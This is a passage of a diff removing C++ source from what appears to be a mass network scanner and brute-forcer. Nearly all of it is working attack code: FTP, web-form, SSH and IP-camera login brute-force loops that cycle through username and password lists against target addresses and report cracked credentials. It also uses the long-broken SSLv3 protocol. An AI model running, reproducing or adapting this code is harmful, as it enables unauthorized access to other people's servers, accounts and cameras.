[PASV TO] Failed!"); - }; - - - if(xx > 1) - { - strcpy(ps->headr, "
 (");
-								strncat(ps->headr, recvBuff, 256);
-								strcat(ps->headr, ")
"); - }; - - strcpy(lps.login, loginLst[i]); - strcpy(lps.pass, passLst[j]); - - CSSOCKET(sockFTP); - isActive = 0; - return lps; - } - else - { - stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); - - strcpy(lps.login, loginLst[i]); - strcpy(lps.pass, passLst[j]); - - CSSOCKET(sockFTP); - isActive = 0; - return lps; - }; - }; - }; - - CSSOCKET(sockFTP); - closedSocket = 1; - ZeroMemory(recvBuff, sizeof(recvBuff)); - } - else - { - char err[128] = {0}; - - int WSAerr; - if(connectionResult == -1) WSAerr = WSAGetLastError(); - else WSAerr = 10060; - - if(gThreads > 1 && WSAerr != 10060/*Timeout*/ && WSAerr != 10055/*POOLOVERFLOW*/ && WSAerr != 10061/*WSAECONNREFUSED*/ && WSAerr != 10054/*WSACONNABORTED*/ && WSAerr != 0) - { - stt->doEmitionRedFoundData("[FTPBrute] Cannot connect to " + QString(ip) + " " + QString(std::to_string(WSAerr).c_str())); - }; - CSSOCKET(sockFTP); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - - Sleep(100); - - if(breakPassLoop) - { - breakPassLoop = false; - break; - }; - }; - }; - - CSSOCKET(sockFTP); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; -}; -lopaStr Connector::_FTPLobby(char *ip, int port, PathStr *ps) -{ - while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); - - lopaStr lps; - ZeroMemory(lps.login, sizeof(lps.login)); - ZeroMemory(lps.pass, sizeof(lps.pass)); - ZeroMemory(lps.other, sizeof(lps.other)); - - BConInc(); - lps = _FTPBrute(ip, port, ps); - BConDec(); - - return lps; -}; - -int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR) -{ - SSL *ssl = NULL; - int bytes = 0; - char *recvBuff2 = 0; - int resCode = 0; - - const SSL_METHOD *method = SSLv3_client_method(); /* Create new client-method instance */ - SSL_CTX *ctx = SSL_CTX_new(method); /* Create new context */ - if(ctx != NULL) - { - SOCKET sock; - SSL_CTX_set_timeout(ctx, gTimeOut); - resCode = OpenConnection(&sock, iph, porth); - if(resCode >= 0) - { - ssl = SSL_new(ctx); /* create new SSL connection state */ - SSL_set_fd(ssl, sock); /* attach the socket descriptor */ - - if(SSL_connect(ssl)) - { - SSL_write(ssl, requesth, strlen(requesth)); - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(iph), QString(requesth)); - - int x = 256; - char recvBuff[8192] = {0}; - recvBuff2 = new char[RECV_MAX_SIZE]; - ZeroMemory(recvBuff2, RECV_MAX_SIZE); - - while (x > 0) - { - ZeroMemory(recvBuff, sizeof(recvBuff)); - x = SSL_read(ssl, recvBuff, sizeof(recvBuff)); - if(x <= 0) break; - - bytes += x; - Activity += x; - - if( bytes > RECV_MAX_SIZE ) - { - if(strstri(recvBuff2, "http/1.") == NULL) - { - if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, recvBuff2); - delete[] recvBuff2; - recvBuff2 = NULL; - CSSOCKET(sock); - - ++Overl; - - CSTR->lowerBuff = new char[11]; - strcpy(CSTR->lowerBuff, "[OVERFLOW]"); - CSTR->size = 10; - SSL_free(ssl); - SSL_CTX_free(ctx); /* release context */ - return 0; - } - else break; - }; - if(globalScanFlag == true) - { - if(x > 0) - { - memset((void*)(recvBuff + x), '\0', 1); - strcat(recvBuff2, recvBuff); - } - else - { - if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, recvBuff2); - - delete[] recvBuff2; - recvBuff2 = NULL; - CSSOCKET(sock); - CSTR->lowerBuff = new char[12]; - strcpy(CSTR->lowerBuff, "[IGNR_ADDR]"); - - CSTR->size = 11; - SSL_free(ssl); - SSL_CTX_free(ctx); /* release context */ - return 0; - }; - }; - }; - - if(bytes < 0) - { - stt->doEmitionRedFoundData("[SSL](_SSLConnect [bytes < 0]) " + QString(iph) + ":" + QString::number(porth)); - }; - - SSL_free(ssl); - CSSOCKET(sock); - SSL_CTX_free(ctx); /* release context */ - - if(bytes == 0 || recvBuff2 == NULL) - { - if(recvBuff2 != NULL) delete []recvBuff2; - recvBuff2 = NULL; - CSTR->lowerBuff = new char[1]; - strcpy(CSTR->lowerBuff, ""); - CSTR->size = 0; - return -1; - }; - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(iph), QString(recvBuff2)); - std::string res2 = ""; - if(strlen(recvBuff2) > bytes) bytes = strlen(recvBuff2); - CSTR->lowerBuff = new char[bytes + 1]; - ZeroMemory(CSTR->lowerBuff, sizeof(CSTR->lowerBuff)); - - strncpy(CSTR->lowerBuff, recvBuff2, bytes); - - delete[] recvBuff2; - recvBuff2 = NULL; - CSTR->size = bytes; - if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, CSTR->lowerBuff); - return 0; - } - else - { - delete[] recvBuff2; - recvBuff2 = NULL; - CSSOCKET(sock); - SSL_free(ssl); - SSL_CTX_free(ctx); /* release context */ - CSTR->lowerBuff = new char[1]; - strcpy(CSTR->lowerBuff, ""); - CSTR->size = 0; - return 0; - }; - }; - } - else - { - char buff1[512] = {0}; - char buff2[512] = {0}; - - ERR_error_string(ERR_peek_error(), buff1); - ERR_error_string(ERR_peek_last_error(), buff2); - stt->doEmitionRedFoundData(QString(iph) + ":" + QString(porth) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2)); - return -1; - } -}; -int Connector::_EstablishSSLConnection(char *iph, int porth, char *requesth, conSTR *CSTR) -{ - return _sslConnectTo(iph, porth, requesth, CSTR); -}; -void __deleteExcessiveNullBytes(char *buff, int sz) -{ - int j = 0; - for(int i = 0; i < sz - 1; ++i) - { - if(buff[i] != 0) buff[j++] = buff[i]; - }; -}; -struct linger linger = { 0 }; -int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *CSTR, int force) -{ - CSTR->lowerBuff = NULL; - if(strlen(ip) == 0) - { - return -1; - }; - if(port < 0 || port > 65535) - { - return -1; - }; - - char *recvBuff2 = NULL; - sockaddr_in sockAddr; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(port); - - HOSTENT *host; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); -#else - if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); -#endif - else if(host = gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; - else - { - ++offlines; - if(host == NULL) return -2; - else return -1; - }; - - SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - while(sock == INVALID_SOCKET) - { - stt->doEmitionRedFoundData("[Cannot create socket]"); - - CSSOCKET(sock); - Sleep(100); - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - }; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - u_long FAR cmd = 1; - if( ioctlsocket( sock , FIONBIO, &cmd ) != 0 ) -#else - if( fcntl( sock , F_SETFL, O_NDELAY ) == -1 ) -#endif - { - stt->doEmitionRedFoundData("[FIONBIO failed]"); - }; - - int recvBuffSize = 0; - linger.l_onoff = 1; - linger.l_linger = 5; - setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *) &linger, sizeof(linger)); - - int iError, iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - while(sock == INVALID_SOCKET) - { - if(gDebugMode) stt->doEmitionDebugFoundData("[Invalid socket]: " + QString::number(WSAGetLastError())); - CSSOCKET(sock); - Sleep(100); - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *) &linger, sizeof(linger)); - iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - }; - - if(iResult == SOCKET_ERROR) - { - iError = WSAGetLastError(); - - if(iError == 10035) - { - fd_set read_fs; - FD_ZERO(&read_fs); - FD_SET(sock, &read_fs); - timeval tv = { gTimeOut, 0 }; - - int oldErr = WSAGetLastError(); - iResult = select(sock + 1, NULL, &read_fs, NULL, &tv); - - if (iResult == SOCKET_ERROR) - { - ++offlines; - - stt->doEmitionRedFoundData("[Omitting IP] Select error-" + - QString::number(WSAGetLastError()) + " oldErr:" + QString::number(oldErr) + - " sock:" + QString::number(sock) + " -" + QString(ip) + ":" + QString::number(port)); - } - else - { - if (!iResult) ++offlines; - else - { - int sResult = send(sock, request, strlen(request), 0); - - while(sResult == SOCKET_ERROR) - { - CSSOCKET(sock); - Sleep(100); - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - sResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(sResult == SOCKET_ERROR) continue; - sResult = send(sock, request, strlen(request), 0); - }; - - if(sResult != SOCKET_ERROR) - { - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); - Activity += strlen(request); - char recvBuff[8192] = {0}; - recvBuff2 = new char[RECV_MAX_SIZE]; - ZeroMemory(recvBuff2, RECV_MAX_SIZE); - - int bTO; - int x = 256; - while (x > 0) - { - ZeroMemory(recvBuff, 8192); - x = recvWT(sock, recvBuff, 8192, gTimeOut, &bTO); - if(x <= 0) break; - Activity += x; - recvBuffSize += x; - if( recvBuffSize > RECV_MAX_SIZE ) - { - CSSOCKET(sock); - ++Overl; - - CSTR->lowerBuff = new char[recvBuffSize]; - strncpy(CSTR->lowerBuff, recvBuff2, recvBuffSize); - CSTR->size = recvBuffSize; - CSTR->overflow = true; - delete[] recvBuff2; - recvBuff2 = NULL; - return 0; - }; - strncat(recvBuff2, recvBuff, x); - }; - - if(strstri(recvBuff2, "no request found") != NULL) - { - ZeroMemory(recvBuff2, RECV_MAX_SIZE); - CSSOCKET(sock); - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - send(sock, request, strlen(request), 0); - x = 1; - while (x > 0) - { - ZeroMemory(recvBuff, 8192); - x = recvWT(sock, recvBuff, 8192, gTimeOut, &bTO); - if(x <= 0) break; - Activity += x; - recvBuffSize += x; - if( recvBuffSize > RECV_MAX_SIZE ) - { - CSSOCKET(sock); - ++Overl; - - CSTR->lowerBuff = new char[recvBuffSize]; - strncpy(CSTR->lowerBuff, recvBuff2, recvBuffSize); - CSTR->size = recvBuffSize; - CSTR->overflow = true; - delete[] recvBuff2; - recvBuff2 = NULL; - return 0; - }; - strncat(recvBuff2, recvBuff, x); - }; - }; - } - else - { - ++offlines; - stt->doEmitionRedFoundData("[_EC] Send error: " + QString(ip) + " - " + QString::number(WSAGetLastError())); - }; - }; - }; - } - else - { - ++offlines; - if(iError == 10055) - { - stt->doEmitionRedFoundData("[10055] Connection pool depleted " + QString(ip) + ":" + QString::number(port)); - } - else if(iError == 10049) - { - stt->doEmitionRedFoundData("[10049] " + QString(ip) + - ":" + QString::number(port) + - " - " + QString::number(iError)); - } - else - { - stt->doEmitionRedFoundData("[Unknown error] " + QString(ip) + - ":" + QString::number(port) + - " - " + QString::number(iError)); - }; - }; - } - else - { - stt->doEmitionRedFoundData("[?!] Strange behavior detected - " + - QString::number(WSAGetLastError()) + - " - " + QString(ip) + ":" + QString::number(port)); - }; - - CSSOCKET(sock); - - if( globalScanFlag == false && force == 0) - { - if(recvBuff2 != NULL) delete []recvBuff2; - recvBuff2 = NULL; - return -1; - }; - - if(recvBuff2 != NULL && recvBuffSize > 0) - { - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff2)); - CSTR->lowerBuff = new char[recvBuffSize + 1]; - ZeroMemory(CSTR->lowerBuff, recvBuffSize + 1); - CSTR->size = recvBuffSize; - strncpy(CSTR->lowerBuff, recvBuff2, recvBuffSize); - memset(CSTR->lowerBuff + recvBuffSize, '\0', 1); - - delete []recvBuff2; - recvBuff2 = NULL; - if(HTMLDebugMode) _DebugWriteHTMLToFile(request, CSTR->lowerBuff); - return 0; - } - else - { - if(recvBuff2 != NULL) delete []recvBuff2; - recvBuff2 = NULL; - return -1; - }; -}; - -#pragma region WF -lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal) -{ - lopaStr lps; - ZeroMemory(lps.login, sizeof(lps.login)); - ZeroMemory(lps.pass, sizeof(lps.pass)); - ZeroMemory(lps.other, sizeof(lps.other)); - - int cookieLen = strlen(cookie); - - char b[16] = {0}; - char request[2048] = {0}; - char argData[256] = {0}; - char recvBuffer[65536] = {0}; - - Connector con; - conSTR CSTR; - int cRes; - int firstCycle = 0; - if(strstri(methodVal, "get") != NULL) - { - int passCounter = 1; - for(int i = 0; i < MaxWFLogin; ++i) - { - if(globalScanFlag == false) break; - for(int j = firstCycle; j < MaxWFPass; ++j) - { - if(globalScanFlag == false) break; - CSTR.lowerBuff = NULL; - CSTR.size = 0; - cRes = 0; - - strcpy(request, "GET "); - strcat(request, actionVal); - strcat(request, "?"); - strcat(request, userVal); - strcat(request, "="); - strcat(request, wfLoginLst[i]); - strcat(request, "&"); - strcat(request, passVal); - strcat(request, "="); - strcat(request, wfPassLst[j]); - strcat(request, " HTTP/1.1\r\n"); - strcat(request, "Host: "); - strcat(request, ip); - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - if(cookieLen != 0) - { - strcat(request, "\r\nCookie: "); - strcat(request, cookie); - }; - strcat(request, "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close"); - strcat(request, "\r\n\r\n"); - - if(port == 443) cRes = con._EstablishSSLConnection(ip, port, request, &CSTR); - else cRes = con._EstablishConnection(ip, port, request, &CSTR); - - if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); - ++passCounter; - - if(CSTR.lowerBuff != NULL) - { - if(strstri(CSTR.lowerBuff, "501 not implemented") != NULL) - { - stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 501 Not Implemented."); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - if(strstri(CSTR.lowerBuff, "404 not found") != NULL) - { - stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 404 Not Found."); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - if(strstri(CSTR.lowerBuff, "Access is Denied") == NULL - && strstri(CSTR.lowerBuff, "Location:") == NULL - && strstri(CSTR.lowerBuff, "Access forbidden") == NULL - && strstri(CSTR.lowerBuff, "Authentication required") == NULL - && strstri(CSTR.lowerBuff, "invalid") == NULL - && strstri(CSTR.lowerBuff, "error") == NULL - && strstri(CSTR.lowerBuff, "loginerr") == NULL - && strstri(CSTR.lowerBuff, "passerr") == NULL - && strstri(CSTR.lowerBuff, "passworderr") == NULL - && strstri(CSTR.lowerBuff, "location.href") == NULL - && strstri(CSTR.lowerBuff, "location.replace") == NULL - && strstri(CSTR.lowerBuff, "top.location") == NULL - && strstri(CSTR.lowerBuff, "error_status") == NULL - && strstri(CSTR.lowerBuff, "501 not implemented") == NULL - && strstri(CSTR.lowerBuff, "http-equiv=\"refresh\"") == NULL - && strstri(CSTR.lowerBuff, "http-equiv = \"refresh\"") == NULL - && strstri(CSTR.lowerBuff, "busy") == NULL - && strstri(CSTR.lowerBuff, "later") == NULL - && strstri(CSTR.lowerBuff, "verification failed") == NULL - && strstri(CSTR.lowerBuff, "403 Forbidden") == NULL - && strstri(CSTR.lowerBuff, formVal) == NULL - - ) - { - if(i == 0) - { - ZeroMemory(request, sizeof(request)); - - isActive = 0; - - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - char pass[256] = {0}; - - ZeroMemory(pass, sizeof(pass)); - strcpy(pass, ip); - strcat(pass, " - Web Form password found: "); - strcat(pass, wfLoginLst[i]); - strcat(pass, ":"); - strcat(pass, wfPassLst[j]); - isActive = 0; - - stt->doEmition_BAGreenData("[+] " + QString(pass)); - - strcpy(lps.login, wfLoginLst[i]); - strcpy(lps.pass, wfPassLst[j]); - return lps; - }; - } - else - { - ZeroMemory(request, sizeof(request)); - - isActive = 0; - - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - - if(i == 0) ++i; - ZeroMemory(request, sizeof(request)); - }; - firstCycle = 1; - }; - } - else if(strstri(methodVal, "post") != NULL) - { - int passCounter = 1; - int firstCycle = 0; - for(int i = 0; i < MaxWFLogin; ++i) - { - if(globalScanFlag == false) break; - for(int j = firstCycle; j < MaxWFPass; ++j) - { - if(globalScanFlag == false) break; - CSTR.lowerBuff = NULL; - CSTR.size = 0; - cRes = 0; - - strcpy(argData, userVal); - strcat(argData, "="); - strcat(argData, wfLoginLst[i]); - strcat(argData, "&"); - strcat(argData, passVal); - strcat(argData, "="); - strcat(argData, wfPassLst[j]); - - strcpy(request, "POST "); - strcat(request, actionVal); - strcat(request, " HTTP/1.1\r\n"); - strcat(request, "Host: "); - strcat(request, ip); - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - if(cookieLen != 0) - { - strcat(request, "\r\nCookie: "); - strcat(request, cookie); - }; - strcat(request, "\r\nContent-type: application/x-www-form-urlencoded\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\nContent-Length: "); - sprintf(b, "%d", strlen(argData)); - strcat(request, b); - strcat(request, "\r\n\r\n"); - - strcat(request, argData); - - if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); - ++passCounter; - - if(port == 443) cRes = con._EstablishSSLConnection(ip, port, request, &CSTR); - else cRes = con._EstablishConnection(ip, port, request, &CSTR); - - if(CSTR.lowerBuff != NULL) - { - if(strstri(CSTR.lowerBuff, "501 not implemented") != NULL) - { - stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 501 Not Implemented."); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - if(strstri(CSTR.lowerBuff, "404 not found") != NULL) - { - stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 404 Not Found."); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - if(strstri(CSTR.lowerBuff, "Access is Denied") == NULL - && strstri(CSTR.lowerBuff, "Location:") == NULL - && strstri(CSTR.lowerBuff, "Access forbidden") == NULL - && strstri(CSTR.lowerBuff, "Authentication required") == NULL - && strstri(CSTR.lowerBuff, "invalid") == NULL - && strstri(CSTR.lowerBuff, "error") == NULL - && strstri(CSTR.lowerBuff, "loginerr") == NULL - && strstri(CSTR.lowerBuff, "passerr") == NULL - && strstri(CSTR.lowerBuff, "passworderr") == NULL - && strstri(CSTR.lowerBuff, "location.href") == NULL - && strstri(CSTR.lowerBuff, "location.replace") == NULL - && strstri(CSTR.lowerBuff, "top.location") == NULL - && strstri(CSTR.lowerBuff, "error_status") == NULL - && strstri(CSTR.lowerBuff, "http-equiv=\"refresh\"") == NULL - && strstri(CSTR.lowerBuff, "http-equiv = \"refresh\"") == NULL - && strstri(CSTR.lowerBuff, "busy") == NULL - && strstri(CSTR.lowerBuff, "later") == NULL - && strstri(CSTR.lowerBuff, "verification failed") == NULL - && strstri(CSTR.lowerBuff, "403 Forbidden") == NULL - && strstri(CSTR.lowerBuff, formVal) == NULL - ) - { - if(i == 0) - { - ZeroMemory(request, sizeof(request)); - ZeroMemory(argData, sizeof(argData)); - - isActive = 0; - - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - char pass[256] = {0}; - - ZeroMemory(pass, sizeof(pass)); - strcpy(pass, ip); - strcat(pass, " - Web Form password found: "); - strcat(pass, wfLoginLst[i]); - strcat(pass, ":"); - strcat(pass, wfPassLst[j]); - isActive = 0; - - stt->doEmition_BAGreenData("[+] " + QString(pass)); - - strcpy(lps.login, wfLoginLst[i]); - strcpy(lps.pass, wfPassLst[j]); - return lps; - }; - } - else - { - ZeroMemory(request, sizeof(request)); - ZeroMemory(argData, sizeof(argData)); - - isActive = 0; - - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - if(i == 0) ++i; - ZeroMemory(request, sizeof(request)); - ZeroMemory(argData, sizeof(argData)); - }; - firstCycle = 1; - }; - } - else - { - stt->doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: Unknown method."); - }; - - ZeroMemory(request, sizeof(request)); - ZeroMemory(argData, sizeof(argData)); - - isActive = 0; - - strcpy(lps.login, "UNKNOWN"); - return lps; -}; -lopaStr Connector::_WFLobby(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal) -{ - while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); - - ++WF; - - BConInc(); - lopaStr res = _WFBrut(cookie, ip, port, methodVal, actionVal, userVal, passVal, formVal); - BConDec(); - - return res; -}; - -#pragma region SSH -int _sshConnect(char *user, char *pass, char *host, int port) -{ - char hostStr[128] = {0}; - ZeroMemory(hostStr, sizeof(hostStr)); - strcpy(hostStr, user); - strcat(hostStr, "@"); - strcat(hostStr, host); - - ssh_session my_ssh_session = ssh_new(); - if (my_ssh_session == NULL) - { - ssh_free(my_ssh_session); - return -1; - }; - - ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, hostStr); - ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, &port); - //ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY, &verbosity); - //ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY_STR, &verbosity); - //ssh_options_set(my_ssh_session, SSH_OPTIONS_STRICTHOSTKEYCHECK, 0); - int sshTimeout = gTimeOut + 1; - ssh_options_set(my_ssh_session, SSH_OPTIONS_TIMEOUT, &sshTimeout); - - int rc = ssh_connect(my_ssh_session); - - if (rc != SSH_OK) - { - ssh_disconnect(my_ssh_session); - ssh_free(my_ssh_session); - ++offlines; - return -2; - } - else - { - rc = ssh_userauth_password(my_ssh_session, NULL, pass); - if (rc != SSH_AUTH_SUCCESS) - { - ssh_disconnect(my_ssh_session); - ssh_free(my_ssh_session); - return -1; - }; - }; - ssh_disconnect(my_ssh_session); - ssh_free(my_ssh_session); - ++ssh; - return 0; -}; -char *_get_ssh_banner(char *ip, int port) -{ - Connector con; - conSTR CSTR; - char recvBuff[256] = {0}; - con._EstablishConnection(ip, port, "", &CSTR); - if(CSTR.lowerBuff != NULL && CSTR.size != 0) - { - strncpy(recvBuff, CSTR.lowerBuff, CSTR.size < 256 ? CSTR.size : 256); - }; - if(CSTR.lowerBuff != NULL) - { - delete []CSTR.lowerBuff; - CSTR.lowerBuff = NULL; - }; - return recvBuff; -}; -int check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port, conSTR *CSTR, char *banner) -{ - int res = -1; - if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host) + ":" + QString::number(port)); - res = _sshConnect(user, pass, host, port); - if(res == 0) - { - stt->doEmition_BAGreenData("[+] SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host)); - char goodStr[512] = {0}; - strcpy(goodStr, userPass); - strcat(goodStr, "@"); - strcat(goodStr, host); - strcat(goodStr, "|+|"); - strcat(goodStr, banner); - int bsz = strlen(goodStr); - CSTR->lowerBuff = new char[bsz + 1]; - ZeroMemory(CSTR->lowerBuff, sizeof(CSTR->lowerBuff)); - CSTR->size = bsz; - strncpy(CSTR->lowerBuff, goodStr, bsz); - memset(CSTR->lowerBuff + bsz, '\0', 1); - return 0; - }; - return res; -}; -int _EstablishSSHConnection(char *host, int port, conSTR *CSTR, char *banner) -{ - CSTR->lowerBuff = NULL; - CSTR->size = 0; - char login[32] = {0}; - char pass[32] = {0}; - char temp[64] = {0}; - isActive = 1; - BConInc(); - int sz = 0; - char *ptr1 = 0; - int res = -1; - for(int i = 0; i < MaxSSHPass; ++i) - { - if(globalScanFlag == false) break; - strcpy(temp, sshlpLst[i]); - ptr1 = strstr(temp, ":"); - sz = ptr1 - temp; - strncpy(login, temp, sz); - strcpy(pass, ptr1 + 1); - res = check_ssh_pass(login, pass, temp, host, port, CSTR, banner); - ZeroMemory(login, sizeof(login)); - ZeroMemory(pass, sizeof(pass)); - ZeroMemory(temp, sizeof(temp)); - if(res == 0) - { - if(i == 0) return -2; //Failhit - BConDec(); - isActive = 0; - return 0; - } - else if(res == -2) - { - BConDec(); - isActive = 0; - return -2; - }; - Sleep(500); - }; - BConDec(); - isActive = 0; - return -1; -}; - -#pragma region IPCAMWeb -int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int passCounter, char *type, std::vector negVector) -{ - char recvBuff[256] = {0}; - char recvBuff2[4096] = {0}; - - SOCKET sock; - sockaddr_in sockAddr; - int bTO; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(port); - HOSTENT *host; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); - else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; - else - { - return -1; - }; -#else - if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); - else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; - else - { - return -1; - }; -#endif - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - int cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - int cErrCode = WSAGetLastError(); - - while(cErrCode == 10038) - { - CSSOCKET(sock); - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - cErrCode = WSAGetLastError(); - if(gDebugMode) stt->doEmitionDebugFoundData("[" + QString(type) + "] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); - }; - - if(cCode != SOCKET_ERROR) - { - int x = 1; - Activity += strlen(request); - - if(send(sock, request, strlen(request), 0) == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[" + QString(type) + "] Send error! [" + QString(ip) + "]"); - CSSOCKET(sock); - return 0; - } - else - { - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); - int x = 1; - int xx = 0; - ZeroMemory(recvBuff2, sizeof(recvBuff2)); - while(xx < 3072) - { - ZeroMemory(recvBuff, sizeof(recvBuff)); - x = recvWT(sock, recvBuff, sizeof(recvBuff), gTimeOut + 2, &bTO); - if(x <= 0) break; - strncat(recvBuff2, recvBuff, x); - xx += x; - Activity += x; - }; - - if(BALogSwitched) stt->doEmitionBAData("Checked " + QString(type) + ": " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(login) + ":" + QString(pass) + "; - Progress: (" + QString::number((passCounter/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); - - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff2)); - - if(strlen(recvBuff2) > 0) { - bool result = true; - for(int i = 0; i < negVector.size(); ++i) - { - if(strstri(recvBuff2, negVector[i]) != NULL) - { - result = false; - break; - }; - }; - - if(result) - { - CSSOCKET(sock); - return 1; - }; - } - }; - }; - - CSSOCKET(sock); - return 0; -}; -lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) -{ - lopaStr lps; - ZeroMemory(lps.login, sizeof(lps.login)); - ZeroMemory(lps.pass, sizeof(lps.pass)); - ZeroMemory(lps.other, sizeof(lps.other)); - char login[128] = {0}; - char pass[128] = {0}; - char request[1024] = {0}; - isActive = 1; - int passCounter = 1; - - std::vector negVector; - if(strcmp(SPEC, "IPC") == 0) - { - negVector.push_back("Invalid"); - } - else if(strcmp(SPEC, "GEO") == 0) - { - negVector.push_back("Access denied"); - negVector.push_back("ErrNoSuchUsr.htm"); - } - else if(strcmp(SPEC, "EasyCam") == 0) - { - negVector.push_back("Set-Cookie: usrLevel=-1;path=/"); - } - else if(strcmp(SPEC, "Foscam") == 0) - { - 